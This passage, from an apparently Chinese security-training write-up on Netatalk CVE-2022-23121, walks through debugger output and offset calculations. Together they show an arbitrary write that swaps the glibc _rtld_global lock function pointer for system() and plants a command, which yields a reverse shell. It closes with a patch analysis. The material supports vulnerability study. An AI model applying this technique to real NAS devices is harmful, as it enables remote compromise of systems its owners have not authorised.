(ac=0x4, av=0x7ffd9f27a1e8) at main.c:417

可以看到,程序试图调用位于0x4141414141414000处的函数


gef➤  x /i $pc=> 0x7efeac84c59d <_dl_open+61>:        call   QWORD PTR [rip+0x199c5]        # 0x7efeac865f68 <_rtld_global+3848>gef➤  x /gx 0x7efeac865f680x7efeac865f68 <_rtld_global+3848>:     0x4141414141414000gef➤

在https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open函数源码,该处为_dl_open函数试图通过函数指针调用__rtld_lock_lock_recursive指向的函数并把_dl_load_lock地址作为指针参数传入该函数内。


void *_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid,          int argc, char *argv[], char *env[]){  if ((mode & RTLD_BINDING_MASK) == 0)    /* One of the flags must be set.  */    _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()"));  /* Make sure we are alone.  */  __rtld_lock_lock_recursive (GL(dl_load_lock));

_rtld_global地址为0x7efeac865060


gef➤  p &_rtld_global$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global

__rtld_lock_lock_recursive 函数指针及参数dl_load_lock均为全局变量_rtld_global的成员

#  define GL(name) _rtld_local._##name# else#  define GL(name) _rtld_global._##name定义在_rtld_local=_rtld_global

初始化过的全局变量存放在.data段,在ld.so中.data段的偏移为0x2e060

此时可以利用任意写将获取到的system函数地址覆盖到__rtld_lock_lock_recursive 内,并且将要执行的命令放入_dl_load_lock 即可造成命令执行。

命令执行

此前说过任意写是将map + ad.ADEID_RFORK.off 处长为ad.ADEID_RFORK.len的数据写入到map + ad.ADEID_FINDERI.off + 0x20 内,而在分配大小小于0x1000情况下,mmap函数分配的内存刚好在data段上面,此时mmap分配的内存地址距离要覆盖的_dl_load_lock 参数为0x2968,以此可得ad.ADEID_FINDERI.off=0x2948


$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>gef➤  p &_rtld_global._dl_load_lock Quitgef➤  p 0x7efeac865968 - 0x7efeac863000$8 = 0x2968

同时还要覆盖到__rtld_lock_lock_recursive 函数指针,测算可得至少需要复制0x600的长度才能覆盖到函数指针,此处可以设置复制长度为0x620


gef➤  p &_rtld_global._dl_rtld_lock_recursive$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>gef➤  p 0x7efeac865f68 - 0x7efeac863000$11 = 0x2f68gef➤  p 0x2f68 - 0x2968$12 = 0x600

利用上述偏移,加上计算得到的system函数地址,生成可用文件,如下:

此时在目标主机内已有了该定时任务,在攻击机上监听2333端口即可收到反弹的shell

十三、补丁分析

在Netatalk3.1.13版本中修复了该漏洞,在新版本中,先检查if中的条件而后给ad指向的结构体赋值,如果if中条件为真,也就是可能发生了越界则直接打印错误消息而后return -1,只有if条件不满足才继续赋值,从而防止了adouble结构体含有不正确的偏移,在外层函数获取到的偏移在范围内从而修复了该漏洞。

十四、函数解释

**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)// dest指向要复制的目标内存,src指向要复制的数据内存,n为要复制的大小(字节)// 如果dest和src指向的内存重叠,该函数仍然可以正常处理,逻辑如下
char str[] = "memmove can be very useful......";memmove (str+20,str+15,11);// 输出为 memmove can be very very useful.

十五、参考链接

https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open
https://nosec.org/home/detail/4997.html
https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/

联系老师 微信扫一扫关注我们 15527777548/18696195380 在线咨询
关闭